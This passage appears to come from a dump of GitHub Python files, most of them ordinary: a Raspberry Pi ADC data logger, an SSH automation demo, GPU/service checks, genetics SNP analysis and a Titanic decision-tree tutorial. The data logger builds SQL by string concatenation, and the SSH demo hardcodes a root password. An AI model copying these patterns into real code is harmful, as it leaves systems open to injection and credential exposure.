+ channel]\n        offset = dictionaryData['offset' + channel]\n        print(\"Gain: \" + str(gain) + \"; Offset: \" + str(offset))\n        for x in range(0,5):\n            temp=convertADC(data)\n            temp= (float(temp) - float(offset)) * float(gain)\n            if(temp>1):\n                temperature=temperature+temp\n                numcount=numcount+1\n        if(numcount>0):\n            temperature=temperature/numcount\n        #temperature = (float(temperature))\n        pi.i2c_close(handle)\n        time.sleep(0.1)\n    except Exception as e:\n        print(e)\n        #os.system(\"sudo reboot\")\n        os.system(\"python /home/pi/Documents/DataLogger/_software/restartI2C.py\")\n    #print(\"END\")\n    finally:\n        if pi.connected:\n            pi.stop()\n    print(\"Adjusted Temperature: \" + str(temperature) + \"C\")\n    return temperature\n\n# For tempData Table\n# Checks if a record with 'system' already exists. If not, INSERT, otherwise UPDATE\ndef checkIfChannelDataExists(channel):\n    returnValue = False\n    inputType = getChannelString(channel)\n    conn = sqlite3.connect('/home/pi/Documents/DataLogger/_database/temperatures.db')\n    cur = conn.cursor()\n    statement = \"SELECT * FROM tempData WHERE inputType LIKE '\" + inputType + \"'\"\n    #print(statement)\n    cur.execute(statement)\n    rows = cur.fetchall()\n    #print(len(rows))\n    if len(rows) > 0:\n        returnValue = True\n    #for line in rows:\n    #    print(line)\n    conn.close()\n    return returnValue\n\n# table 2 => TEMP\n# table 1 => DATA STORAGE\ndef insertIntoDatabase(channel, data, table = \"2\"):\n    os.environ['TZ'] = 'America/Los_Angeles'\n    time.tzset()\n    dateNow = datetime.datetime.now()\n    timeNow = dateNow.time()\n    #print(dateNow)\n    #print(timeNow)\n    dictionaryData = uploadCSV.getAllDictionaries()\n    system = dictionaryData['system'] #\"RPI_001\"\n    inputType = getChannelString(channel)\n    tempDataExistsForChannel = checkIfChannelDataExists(channel)\n    conn = sqlite3.connect('/home/pi/Documents/DataLogger/_database/temperatures.db')\n    statement = \"\"\n    if table == \"1\":\n        statement = \"INSERT INTO dataTable (system, inputType, data, date, time) VALUES ('\" + system + \"','\" + inputType + \"','\" + str(data) + \"','\" + str(dateNow) + \"','\" + str(timeNow) + \"')\"\n    else:\n        if tempDataExistsForChannel == True:\n            statement = \"UPDATE tempData SET system = '\" + system + \"', data = '\" + str(data) + \"', date = '\" + str(dateNow) + \"', time = '\" + str(timeNow) + \"' WHERE inputType = '\" + inputType + \"'\"\n        else:\n            statement = \"INSERT INTO tempData (system, inputType, data, date, time) VALUES ('\" + system + \"','\" + inputType + \"','\" + str(data) + \"','\" + str(dateNow) + \"','\" + str(timeNow) + \"')\"\n        print (\"Inserting Channel \" + channel + \" data: \" + data)\n    #print(statement)\n    conn.execute(statement)\n    conn.commit()\n    conn.close()\n\n####------------------------------------------------------- MAIN\n\ndef main():\n    \"\"\"This is the main function. It takes 1 argument:\n    Ex: python readADC.py 1\\t Writes to dataTable in database\n    Ex: python readADC.py 2\\t Writes to tempTable in database\"\"\"\n    # channel min\n    # channel max\n    # channel units\n    # channel interval\n    # channel upload ftp link\n    #configureI2CMux()\n       \n    args = sys.argv\n    i2cMux.readI2CMux(1)\n    dictionaryData = uploadCSV.getAllDictionaries()\n    count=0\n    if len(args) > 2:\n        table = args[1]\n        channel = args[2]\n        temperature = readADC(channel, dictionaryData)\n        tempFormatted = \"{0:.2f}\".format(temperature)\n        print(\"ADC Reading, Channel #\" + str(channel) + \": \" + \"\\n\" + tempFormatted)\n        # Insert data into database\n        #print(\"Inserting into database: \" + tempFormatted + \"for channel \" + channel)\n        if(tempFormatted > 0):\n            insertIntoDatabase(channel, tempFormatted, table)\n                    \n    # If full day reached (12:00am), generate text file from database data and\n    # upload to FTP (if file is uploaded daily)\n\nmain()\n","repo_name":"icenginc/DataLogger","sub_path":"_software/readADC.py","file_name":"readADC.py","file_ext":"py","file_size_in_byte":6914,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"10049348123","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n# @File: cao.py\n# @Author: dell\n# @Date: 2020/9/2  17:07\n# @Desc: \n# @Project: licode\n# @Source: PyCharm\n\nimport re\nimport time\n\nimport paramiko\n\n\nclass Demo:\n\n    def __init__(self):\n        self._transport = None\n        self._channel = None\n        self._count = 0\n\n    def transport_connect(self, info):\n        self._transport = paramiko.Transport((info[0], info[1]))\n        self._transport.start_client()\n        self._transport.auth_password(info[2], info[3])\n\n        self._channel = self._transport.open_session()\n        self._channel.get_pty()\n\n        self._channel.invoke_shell()\n\n        return self._transport, self._channel\n\n    def transport_disconnect(self):\n        if self._channel:\n            self._channel.close()\n        if self._transport:\n            self._transport.close()\n\n    def send(self, cmd, channel, max_time=100):\n        # command = cmd\n        self._count += 1\n        cmd += \"\\r\"\n        p = re.compile(r'\\[root.*?\\]#')\n        result = ''\n        self._channel.send(cmd)\n        # self._channel.settimeout(max_time)\n        while max_time > 0:\n            time.sleep(0.2)\n            ret = self._channel.recv(65535)\n            ret = ret.decode(\"utf-8\")\n            result += ret\n            print(ret)\n            if len(p.findall(result)) == 2 and self._count == 1:\n                break\n            if len(p.findall(result)) == 1 and self._count > 1:\n                break\n            max_time -= 1\n        return result\n\n    @staticmethod\n    def send_middle(cmd, channel):\n        cmd += \"\\n\"\n        channel.send(cmd)\n        time.sleep(0.5)\n        ret = channel.recv(65535)\n        ret = ret.decode('utf-8')\n        print(\"%s cmd output is : \" % cmd + ret)\n        return ret\n\n\nif __name__ == '__main__':\n    ip_info = ['172.28.37.110', 9622, 'root', \"ruijie\"]\n    transport = Demo()\n    channel = transport.transport_connect(ip_info)[1]\n    transport.send('cd vdbench', channel)\n    transport.send('ls -l', channel)\n\n    cmd_write = \"dd if=/dev/urandom of=/home/gejian/test2.log bs=1M count=1000\"\n\n    cmd_cksum = \"cksum /home/gejian/test2.log | awk '{print $1}'\"\n\n    transport.send(cmd_write, channel)\n    transport.send(cmd_cksum, channel)\n    # input_pwd = \"Are you sure you want to continue connecting (yes/no)?\"\n    #\n    # tmp1 = transport.send_middle(\"/opt/java/zookeeper/bin/zkCli.sh\", channel)\n    # if \"zk: localhost:2181(CONNECTING)\" in tmp1:\n    #     tmp2 = transport.send_middle(\"get /pos/cluster/nodes/1\", channel)\n\n    transport.transport_disconnect()\n","repo_name":"freechenh/licode","sub_path":"day07/cao.py","file_name":"cao.py","file_ext":"py","file_size_in_byte":2566,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"23784964169","text":"import RPi.GPIO as GPIO\nimport board\nimport adafruit_dht\nimport sys\nsys.path.insert(1,'./i2clibraries')\nfrom i2c_hmc5883l import *\nfrom i2c_adxl345 import *\nfrom i2c_itg3205 import *\nfrom time import *\nimport drivers\nimport time\n\ndhtDevice = adafruit_dht.DHT22(board.D14)\ntemperature_c = dhtDevice.temperature\ntemperature_f = temperature_c * (9/5) + 32\nhumidity = dhtDevice.humidity\nledPin = 20    # define the ledPin\nsensorPin = 21    # define the sensorPin\n\ndisplay =drivers.Lcd()\n\nhmc5883l = i2c_hmc5883l(1)\n#i = 1\n\nhmc5883l.setContinuousMode ()\nhmc5883l.setDeclination (2,4)\n\nadxl345 = i2c_adxl345(1)\n\nitg3205 = i2c_itg3205(1)\n\n\nprint ('Program is starting...')\nGPIO.setwarnings(False)\nGPIO.setmode(GPIO.BCM)         # Numbers GPIOs by GPIO\nGPIO.setup(ledPin, GPIO.OUT)   # Set ledPin's mode is output\nGPIO.setup(sensorPin, GPIO.IN)\n\nwhile True:\n    try:\n        display.lcd_clear()\n        (itgready, dataready) = itg3205.getInterruptStatus ()\n        temperature_c = dhtDevice.temperature\n        if dataready:\n            temp = itg3205.getDieTemperature ()\n            (x, y, z) = itg3205.getDegPerSecAxes ()\n            print (\"Temp:\" + str (temp ))\n            print (\"X:\" + str (x ))\n            print (\"Y:\" + str (y ))\n            print (\"Z:\" + str (z ))\n            print (\"\")\n            display.lcd_display_string((\"Xg:\" + str (x )) , 1)\n            display.lcd_display_string((\"Yg:\" + str (y )) , 2)\n            time.sleep(2)\n            display.lcd_display_string((\"Zg:\" + str (z )) , 1)\n        if GPIO.input(sensorPin)==GPIO.HIGH:\n            GPIO.output(ledPin,GPIO.HIGH)\n            print('led on...')\n            print(\"Temp:{:.1f}F/{:.1f}C Humidity:{}%\".format(temperature_f,temperature_c,humidity))\n            print (adxl345)\n            temp= \"temp: \" + str(temperature_c)\n            hum= \"humid: \" + str(humidity)\n            display.lcd_display_string(temp, 1)\n            display.lcd_display_string(hum, 2)\n            time.sleep(2)\n            (xacc, yacc, zacc) = adxl345.getAxes()\n            display.lcd_display_string((\"Xa:\" + str (xacc )) , 1)\n            display.lcd_display_string((\"Ya:\" + str (yacc )) , 2)\n            time.sleep(2)\n            display.lcd_display_string((\"Za:\" + str (zacc )) , 1)\n        else: \n            GPIO.output(ledPin,GPIO.LOW)\n            print ('led off...')\n            (xcom, ycom, zcom) = hmc5883l.getAxes()\n            print(hmc5883l)\n            display.lcd_display_string((\"Xc:\" + str (xcom )) , 1)\n            display.lcd_display_string((\"Yc:\" + str (ycom )) , 2)\n            time.sleep(2)\n            display.lcd_display_string((\"Zc:\" + str (zcom )) , 1)\n        sleep(2)\n\n    except RuntimeError as error:\n        # Errors happen fairly often, DHT's are hard to read, just keep going\n        print(error.args[0])\n        time.sleep(2.0)\n        continue\n    except Exception as error:\n        dhtDevice.exit()\n        raise error\n\n    time.sleep(2.0)   \nif __name__ =='__main__':\n    setup()\n    try:\n        loop()\n    except KeyboardInterrupt:\n\n        GPIO.cleanup()\n","repo_name":"Arissa97/home","sub_path":"mylib/sensorINT.py","file_name":"sensorINT.py","file_ext":"py","file_size_in_byte":3047,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"74415473653","text":"import os\nfrom pathlib import Path\nimport re\nimport subprocess\nimport dbus\nfrom .log_utils import get_logger\n\n\nclass CheckError(Exception):\n    pass\n\n\ndef check_running_graphical_session():\n    return subprocess.run(\n        \"xhost\",\n        shell=True,\n        stdout=subprocess.DEVNULL,\n        stderr=subprocess.DEVNULL\n    ).returncode == 0\n\n\ndef is_ac_power_connected():\n\n    for power_source_path in Path(\"/sys/class/power_supply/\").iterdir():\n\n        try:\n\n            with open(power_source_path / \"type\", 'r') as f:\n                if f.read().strip() != \"Mains\":\n                    continue\n\n            with open(power_source_path / \"online\", 'r') as f:\n                if f.read(1) == \"1\":\n                    return True\n\n        except IOError:\n            continue\n\n    return False\n\n\ndef is_pat_available():\n    return subprocess.run(\n        \"grep -E '^flags.+ pat( |$)' /proc/cpuinfo\",\n        shell=True, stdout=subprocess.DEVNULL\n    ).returncode == 0\n\n\ndef get_active_renderer():\n\n    if _is_gl_provider_nvidia():\n        return \"nvidia\"\n    else:\n        return \"integrated\"\n\n\ndef is_module_available(module_name):\n\n    return subprocess.run(\n        f\"modinfo -n {module_name}\",\n        shell=True, stdout=subprocess.DEVNULL\n    ).returncode == 0\n\ndef is_module_loaded(module_name):\n\n    return subprocess.run(\n        f\"lsmod | grep -E \\\"^{module_name}\\\"\",\n        shell=True, stdout=subprocess.DEVNULL\n    ).returncode == 0\n\ndef get_current_display_manager():\n\n    if not os.path.isfile(\"/etc/systemd/system/display-manager.service\"):\n        raise CheckError(\"No display-manager.service file found\")\n\n    dm_service_path = os.path.realpath(\"/etc/systemd/system/display-manager.service\")\n    dm_service_filename = os.path.split(dm_service_path)[-1]\n    dm_name = os.path.splitext(dm_service_filename)[0]\n\n    return dm_name\n\n\ndef using_patched_GDM():\n\n    folder_path_1 = \"/etc/gdm/Prime\"\n    folder_path_2 = \"/etc/gdm3/Prime\"\n\n    return os.path.isdir(folder_path_1) or os.path.isdir(folder_path_2)\n\ndef check_offloading_available():\n\n    try:\n        out = subprocess.check_output(\n            \"xrandr --listproviders\", shell=True, text=True, stderr=subprocess.PIPE).strip()\n    except subprocess.CalledProcessError as e:\n        raise CheckError(f\"Cannot list xrandr providers:\\n{e.stderr}\") from e\n\n    for line in out.splitlines():\n        if re.search(\"^Provider [0-9]+:\", line) and \"name:NVIDIA-G0\" in line:\n            return True\n    return False\n\n\ndef is_xorg_intel_module_available():\n    return os.path.isfile(\"/usr/lib/xorg/modules/drivers/intel_drv.so\")\n\ndef is_xorg_amdgpu_module_available():\n    return os.path.isfile(\"/usr/lib/xorg/modules/drivers/amdgpu_drv.so\")\n\n\ndef is_login_manager_active():\n    return _is_service_active(\"display-manager\")\n\n\ndef is_daemon_active():\n    return _is_service_active(\"optimus-manager\")\n\n\ndef is_bumblebeed_service_active():\n    return _is_service_active(\"bumblebeed\")\n\n\ndef _is_gl_provider_nvidia():\n\n    try:\n        out = subprocess.check_output(\n            \"__NV_PRIME_RENDER_OFFLOAD=0 glxinfo\",\n            shell=True, text=True, stderr=subprocess.PIPE).strip()\n    except subprocess.CalledProcessError as e:\n        raise CheckError(f\"Cannot run glxinfo: {e.stderr}\") from e\n\n    for line in out.splitlines():\n        if \"server glx vendor string: NVIDIA Corporation\" in line:\n            return True\n    return False\n\n\ndef _is_service_active(service_name):\n\n    logger = get_logger()\n\n    try:\n        system_bus = dbus.SystemBus()\n    except dbus.exceptions.DBusException:\n        logger.warning(\n            \"Cannot communicate with the DBus system bus to check status of %s.\"\n            \" Is DBus running ? Falling back to bash commands\", service_name)\n        return _is_service_active_bash(service_name)\n    else:\n        return _is_service_active_dbus(system_bus, service_name)\n\ndef _is_service_active_dbus(system_bus, service_name):\n\n    systemd = system_bus.get_object(\"org.freedesktop.systemd1\", \"/org/freedesktop/systemd1\")\n\n    try:\n        unit_path = systemd.GetUnit(\"%s.service\" % service_name, dbus_interface=\"org.freedesktop.systemd1.Manager\")\n    except dbus.exceptions.DBusException:\n        return False\n\n    optimus_manager_interface = system_bus.get_object(\"org.freedesktop.systemd1\", unit_path)\n    properties_manager = dbus.Interface(optimus_manager_interface, 'org.freedesktop.DBus.Properties')\n    state = properties_manager.Get(\"org.freedesktop.systemd1.Unit\", \"SubState\")\n\n    return state == \"running\"\n\n\ndef _is_service_active_bash(service_name):\n\n    return subprocess.run(\n        f\"systemctl is-active {service_name}\", shell=True\n    ).returncode == 0\n","repo_name":"Askannz/optimus-manager","sub_path":"optimus_manager/checks.py","file_name":"checks.py","file_ext":"py","file_size_in_byte":4670,"program_lang":"python","lang":"en","doc_type":"code","stars":2118,"dataset":"github-code","pt":"21"}
+{"seq_id":"37448940302","text":"import sys\r\nline = sys.stdin.readline\r\n\r\nn,m=map(int,line().split())\r\n\r\np=[int(line()) for _ in range(m)]\r\n\r\np.sort(reverse=True)\r\n\r\nanswer=[0]*m\r\n\r\nfor i,j in enumerate(p):\r\n    answer[i]=j*(min(i+1,n))\r\n\r\nmax_p=answer.index(max(answer))\r\nprint(p[max_p],answer[max_p])\r\n","repo_name":"sunsu2737/algorithm","sub_path":"VSP/S1246.py","file_name":"S1246.py","file_ext":"py","file_size_in_byte":271,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"41134988217","text":"# -*- coding: utf-8 -*-\n\n\"\"\"\nAuthor: XXM\ndate: 2020/8/18 20:51\ndesc: \n\"\"\"\n# PySide2 引入线程类和信号\nfrom PySide2.QtCore import QThread, Signal  # 注意区别就在于这里的信号是 Signal，和 PyQt5 不一样，而线程类是一样的\nfrom multiprocessing import Pool\nimport time, threading\n\n\nclass NewThread(QThread):\n    signal = Signal(object)  # 自定义信号，其中 object 为信号承载数据的类型\n\n    def __init__(self, parent=None):\n        super().__init__()\n        self.x = 0  # 线程中自定义变量\n\n    # 线程内可自定义其他函数\n    def custom_function(self):\n        # self.kit.appendPlainText(str(self.x))\n        self.x += 1\n        time.sleep(0.4)\n        # QThread.msleep(1000)\n\n    # new_thread = NewThread()\n\n    # 通过 new_thread.start() 调用此 run() 函数\n    def run(self):\n        for _ in range(300):\n            self.custom_function()\n            self.signal.emit(self.x)  # 发射信号\n\n\nif __name__ == '__main__':\n    new_thread = NewThread()\n\n    new_thread.start()  # 为线程分配资源，让它执行\n\n    # 下面两个都是停止执行，但我一般用第二个\n    new_thread.wait()\n    new_thread.terminate()\n","repo_name":"wo-woa/tools","sub_path":"useful/kit/NewThreadKit.py","file_name":"NewThreadKit.py","file_ext":"py","file_size_in_byte":1196,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"23442239511","text":"import json\nimport os.path\nimport time\n\nfrom bunch import Bunch\nfrom watchdog.events import PatternMatchingEventHandler\nfrom watchdog.observers import Observer\n\nclass SettingsChangeHandler(PatternMatchingEventHandler):\n    def __init__(self, *args, **kwargs):\n        self.settings = kwargs.get(\"settings\")\n        del(kwargs[\"settings\"])\n        super().__init__(*args, **kwargs)\n        for path in kwargs.get(\"patterns\"):\n            self.update(path)\n        \n    def update(self, path):\n        with open(path) as conf:\n            self.settings.update(json.load(conf))\n\n    def on_modified(self, event):\n        print(\"Settings modified on disk, reloading\")\n        self.update(event.src_path)\n    \nclass Settings(Bunch):\n    def __init__(self, settings_path):\n        super().__init__()\n        event_handler = SettingsChangeHandler(settings=self, patterns=[settings_path])\n        self.observer = Observer()\n        self.observer.schedule(event_handler, os.path.abspath(os.path.join(settings_path, os.pardir)), recursive=False)\n        self.observer.start()\n    \n    def stop(self):\n        self.observer.stop()\n\n    def join(self):\n        self.observer.join()\n","repo_name":"ptone/remote-live-config","sub_path":"python-live-read-example/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":1170,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"24376005676","text":"# Import packages.\nimport allel\nimport numpy as np\nimport numcodecs\nimport pandas as pd\nimport sys\nimport zarr\n\n### sys.argv[1] = chromosome ###\n### sys.argv[2] = window size ###\n\n\n# Define a function to load genotyope and positions arrays.\ndef load_callset_pos(prefix, chrom):\n    # Intialize the file path.\n    path = '../vcf_data/zarr_data/{0}_chr{1}.zarr'.format(prefix, chrom)\n    # Load the zarr array.\n    zarr_array = zarr.open_group(path, mode='r')\n    # Extract the genotype callset.\n    callset = zarr_array['{0}/calldata/GT'.format(chrom)]\n    # Load the positions.\n    pos = allel.SortedIndex(zarr_array['{0}/variants/POS'.format(chrom)])\n    return callset, pos\n\n# Define a function to calculate alternative allele frequencies.\ndef calc_alt_freqs(gt):\n    # If there are no altenative alleles...\n    if (gt.count_alleles().shape[1] == 1):\n        # Calculate alternative allele frequencies.\n        alt_freqs = gt.count_alleles().to_frequencies()[:, 0] - 1\n    # Else...\n    else:\n        # Calculate alternative allele frequencies.\n        alt_freqs = gt.count_alleles().to_frequencies()[:, 1]\n    return alt_freqs\n\n# Define a function to calculate alternative allele frequencies for the archaics\ndef calc_arc_alt_freqs(arc_gt):\n    # Compute the frequency for each site.\n    raw_freqs = np.nansum(arc_gt, axis=2).flatten() / 2\n    # Set missing data to Nan\n    alt_freqs = np.where(raw_freqs == -1, np.nan, raw_freqs)\n    return alt_freqs\n\n# Define a function to count the number of archaic specific derived snps.\ndef count_arc_der_sites(gt, pop_dicc):\n    # Calculate alternative allele frequencies.\n    afr_alt_freq = calc_alt_freqs(gt.take(pop_dicc['AFR'], axis=1))\n    ooa_alt_freq = calc_alt_freqs(gt.take(pop_dicc['OOA'], axis=1))\n    alt_alt_freq = calc_arc_alt_freqs(gt.take(pop_dicc['ALT'], axis=1))\n    cha_alt_freq = calc_arc_alt_freqs(gt.take(pop_dicc['CHA'], axis=1))\n    vin_alt_freq = calc_arc_alt_freqs(gt.take(pop_dicc['VIN'], axis=1))\n    den_alt_freq = calc_arc_alt_freqs(gt.take(pop_dicc['DEN'], axis=1))\n    anc_freq = calc_alt_freqs(gt.take([-1], axis=1))\n    # Polarize the samples.\n    afr_der_freq = np.where(anc_freq == 1, np.abs(afr_alt_freq - 1), afr_alt_freq)\n    ooa_der_freq = np.where(anc_freq == 1, np.abs(ooa_alt_freq - 1), ooa_alt_freq)\n    alt_der_freq = np.where(anc_freq == 1, np.abs(alt_alt_freq - 1), alt_alt_freq)\n    cha_der_freq = np.where(anc_freq == 1, np.abs(cha_alt_freq - 1), cha_alt_freq)\n    vin_der_freq = np.where(anc_freq == 1, np.abs(vin_alt_freq - 1), vin_alt_freq)\n    den_der_freq = np.where(anc_freq == 1, np.abs(den_alt_freq - 1), den_alt_freq)\n    # Intialize conditions.\n    c_hum = (afr_der_freq < 0.01) & (ooa_der_freq > 0)\n    c_den = (den_der_freq == 1)\n    c_not_den = (den_der_freq != 1)\n    c_alt = (alt_der_freq == 1)\n    c_not_alt = (alt_der_freq != 1)\n    c_cha = (cha_der_freq == 1)\n    c_not_cha = (cha_der_freq != 1)\n    c_vin = (vin_der_freq == 1)\n    c_not_vin = (vin_der_freq != 1)\n    c_nea = c_alt | c_cha | c_vin\n    c_not_nea = c_not_alt & c_not_cha & c_not_vin\n    # Determine the archaic specific sites.\n    den_only_idx = np.where(c_hum & c_not_nea & c_den)[0]\n    nea_only_idx = np.where(c_hum & c_not_den & c_nea)[0]\n    return [den_only_idx.size, nea_only_idx.size]\n\n# Define a function to count the number of archaic specific ancestral snps.\ndef count_arc_anc_sites(gt, pop_dicc):\n    # Calculate alternative allele frequencies.\n    afr_alt_freq = calc_alt_freqs(gt.take(pop_dicc['AFR'], axis=1))\n    ooa_alt_freq = calc_alt_freqs(gt.take(pop_dicc['OOA'], axis=1))\n    alt_alt_freq = calc_arc_alt_freqs(gt.take(pop_dicc['ALT'], axis=1))\n    cha_alt_freq = calc_arc_alt_freqs(gt.take(pop_dicc['CHA'], axis=1))\n    vin_alt_freq = calc_arc_alt_freqs(gt.take(pop_dicc['VIN'], axis=1))\n    den_alt_freq = calc_arc_alt_freqs(gt.take(pop_dicc['DEN'], axis=1))\n    anc_freq = calc_alt_freqs(gt.take([-1], axis=1))\n    # Polarize the samples.\n    afr_der_freq = np.where(anc_freq == 1, np.abs(afr_alt_freq - 1), afr_alt_freq)\n    ooa_der_freq = np.where(anc_freq == 1, np.abs(ooa_alt_freq - 1), ooa_alt_freq)\n    alt_der_freq = np.where(anc_freq == 1, np.abs(alt_alt_freq - 1), alt_alt_freq)\n    cha_der_freq = np.where(anc_freq == 1, np.abs(cha_alt_freq - 1), cha_alt_freq)\n    vin_der_freq = np.where(anc_freq == 1, np.abs(vin_alt_freq - 1), vin_alt_freq)\n    den_der_freq = np.where(anc_freq == 1, np.abs(den_alt_freq - 1), den_alt_freq)\n    # Intialize conditions.\n    c_hum = ((1 - afr_der_freq) < 0.01) & ((1 - ooa_der_freq) > 0)\n    c_den = (den_der_freq == 0)\n    c_not_den = (den_der_freq != 0)\n    c_alt = (alt_der_freq == 0)\n    c_not_alt = (alt_der_freq != 0)\n    c_cha = (cha_der_freq == 0)\n    c_not_cha = (cha_der_freq != 0)\n    c_vin = (vin_der_freq == 0)\n    c_not_vin = (vin_der_freq != 0)\n    c_nea = c_alt | c_cha | c_vin\n    c_not_nea = c_not_alt & c_not_cha & c_not_vin\n    # Determine the archaic specific sites.\n    den_only_idx = np.where(c_hum & c_not_nea & c_den)[0]\n    nea_only_idx = np.where(c_hum & c_not_den & c_nea)[0]\n    return [den_only_idx.size, nea_only_idx.size]\n\n# Define a function to compute archaic snp denisty.\ndef tgp_arc_snp_denisty(chromosome, window_size):\n    # Load in the meta information as a pandas dataframe.\n    tgp_meta_df = pd.read_csv(\n        '../meta_data/tgp_mod.txt', sep='\\t',\n        names=['IND', 'POP', 'SUPERPOP'],\n    )\n    # Intialize a dictionary to store all sample indicies.\n    samp_idx_dicc = {\n        'ALT': np.array([2347]), 'CHA': np.array([2348]),\n        'VIN': np.array([2349]), 'DEN': np.array([2350]),\n    }\n    # Append the dictionary with sample AFR and OOA indicies.\n    samp_idx_dicc['AFR'] = tgp_meta_df[tgp_meta_df['SUPERPOP'] == 'AFR'].index.values\n    samp_idx_dicc['OOA'] = tgp_meta_df[tgp_meta_df['SUPERPOP'] != 'AFR'].index.values\n    # Extract the genotype callset and positions.\n    callset, all_pos = load_callset_pos('tgp_mod_arc_anc', chromosome)\n    # Load the windows data frame.\n    qc_windows_df = pd.read_csv('../windowing/tgp/{0}kb_nonoverlapping_variant_windows.csv.gz'.format(window_size))\n    # Subset the the windows for the chromosome.\n    chr_qc_windows_df = qc_windows_df[qc_windows_df['CHR'] == chromosome]\n    # Extract the start and stop positions.\n    chr_starts = chr_qc_windows_df['START'].values\n    chr_stops = chr_qc_windows_df['STOP'].values\n    # Determine the number of windows.\n    n_windows = chr_qc_windows_df.shape[0]\n    # Intialize a results matrix to store the results.\n    results_mat = np.empty((n_windows, 4))\n    # For every window...\n    for wind in range(n_windows):\n        # Locate the window.\n        wind_loc = all_pos.locate_range(chr_starts[wind], chr_stops[wind])\n        # Compute the number of derived and ancestral archaic snps.\n        c_der = count_arc_der_sites(\n            gt=allel.GenotypeArray(callset[wind_loc]), pop_dicc=samp_idx_dicc,\n        )\n        c_anc = count_arc_anc_sites(\n            gt=allel.GenotypeArray(callset[wind_loc]), pop_dicc=samp_idx_dicc,\n        )\n        # Append the results matrix\n        results_mat[wind, :] = np.array(c_der+c_anc)\n    # Compile the results file name.\n    results_file = f'chr{chromosome}_{window_size}kb.csv.gz'\n    # Export the the results matrix.\n    np.savetxt(\n        './tgp/windows/'+results_file,\n        results_mat, fmt='%d', delimiter=',', newline='\\n',\n    )\n    return\n\n# Compute the archaic allele density.\ntgp_arc_snp_denisty(\n    chromosome=int(sys.argv[1]),\n    window_size=int(sys.argv[2]),\n)\n","repo_name":"David-Peede/MUC19","sub_path":"arc_snp_density/tgp_arc_snp_density_windows.py","file_name":"tgp_arc_snp_density_windows.py","file_ext":"py","file_size_in_byte":7508,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"23522952785","text":"from PIL import Image, ImageDraw\nimport random as rd\n\nrd.seed(0)\n\n\ndef draw_rectangle(draw, color):\n    x = rd.randint(11, 21)\n    y = rd.randint(11, 21)\n    draw.rectangle((x - 5, y - 5, x + 5, y + 5), fill=color)\n\n\ndef generate_scene(path, idx):\n    img = Image.new('RGB', (32, 32))\n    draw = ImageDraw.Draw(img)\n\n    draw_rectangle(draw, \"blue\")\n\n    img.save(f\"simple/images/{path}/{str(idx) + '.png'}\")\n\n\nfor i in range(20000):\n    generate_scene(\"train\", i)\n\nfor i in range(5000):\n    generate_scene(\"test\", i)\n\nfor i in range(5000):\n    generate_scene(\"val\", i)","repo_name":"356255531/ulgie_translation","sub_path":"data/gen.py","file_name":"gen.py","file_ext":"py","file_size_in_byte":569,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"37223986278","text":"import seaborn as sns\nimport pandas as pd\nimport matplotlib.pyplot as plt\n\ndf = sns.load_dataset('titanic')\nprint(df.head())\nprint(df.describe())\nprint(df.info())\ntrain_df = df[:800]\ntest_df = df[800:]\nprint(len(train_df))\nprint(len(test_df))\nprint(train_df[['pclass', 'survived']].groupby(['pclass'], as_index=False).mean().sort_values(by='survived',\n                                                                                              ascending=False))\nprint(train_df[['sex', 'survived']].groupby(['sex'], as_index=False).mean().sort_values(by='survived', ascending=False))\nprint(train_df[['parch', 'survived']].groupby(['parch'], as_index=False).mean().sort_values(by='survived',\n                                                                                            ascending=False))\nprint(train_df[['sibsp', 'survived']].groupby(['sibsp'], as_index=False).mean().sort_values(by='survived',\n                                                                                            ascending=False))\n\nsns.histplot(data=train_df, x='age', bins=20, hue='survived')\na = sns.FacetGrid(train_df, col='survived')\na.map(plt.hist, 'age', bins=20)\n\na = sns.FacetGrid(train_df, col='survived', row='pclass')\na.map(plt.hist, 'age', bins=20)\n\nplt.show()\n\nnames = train_df.columns\nprint(names)\n\ntrain_df = train_df.drop(names[4:], axis=1)\nprint(train_df.head())\n\ntest_df = test_df.drop(names[4:], axis=1)\nprint(test_df.head())\n\nprint(train_df.isnull().sum())\nprint(test_df.isnull().sum())\n\ntrain_df.fillna(train_df.mean()[['age']], inplace=True)\ntest_df.fillna(test_df.mean()[['age']], inplace=True)\n\nprint(train_df.isnull().sum())\nprint(test_df.isnull().sum())\n\n# 성별 인코딩\nmap_dict = {'female': 0, 'male': 1}\ntrain_df['sex'] = train_df['sex'].map(map_dict).astype(int)\ntest_df['sex'] = test_df['sex'].map(map_dict).astype(int)\n\n\n# 나이 분류\ndef function1(x):\n    if x < 20:\n        return 1\n    elif x < 40:\n        return 2\n    elif x < 60:\n        return 3\n    else:\n        return 4\n\n\ntrain_df['age'] = train_df['age'].apply(function1)\ntest_df['age'] = test_df['age'].apply(function1)\n\nprint(train_df.head())\nprint(test_df.head())\n\nfrom sklearn.tree import DecisionTreeClassifier\n\nX_train = train_df.drop(['survived'], axis=1)\nY_train = train_df['survived']\nX_test = test_df.drop(['survived'], axis=1)\nY_test = test_df['survived']\n\nprint(X_train.head())\nprint(Y_train.head())\n\n# 모델 생성 및 학습\ndecision_tree = DecisionTreeClassifier()\ndecision_tree.fit(X_train, Y_train)\n\n# 모델 정확도 검증\nprint(decision_tree.score(X_train, Y_train))\nprint(decision_tree.score(X_test, Y_test))\n\n# 실제 값 예측값 비교 구현\nY_pred = decision_tree.predict(X_test)\nprint(Y_pred)\nprint(Y_test)\nprint(len(Y_pred))\nprint(len(Y_test))\n\nY_test_list = list(Y_test)\nprint(Y_pred[0])\nprint(Y_test_list[0])\n\ntotal = 0\nfor i in range(len(Y_pred)):\n    if Y_pred[i] == Y_test_list[i]:\n        total += 1\n    else:\n        pass\nprint(total)\nprint(total / len(Y_pred))\n\nfrom sklearn.tree import export_graphviz\n\nexport_graphviz(\n    decision_tree,\n    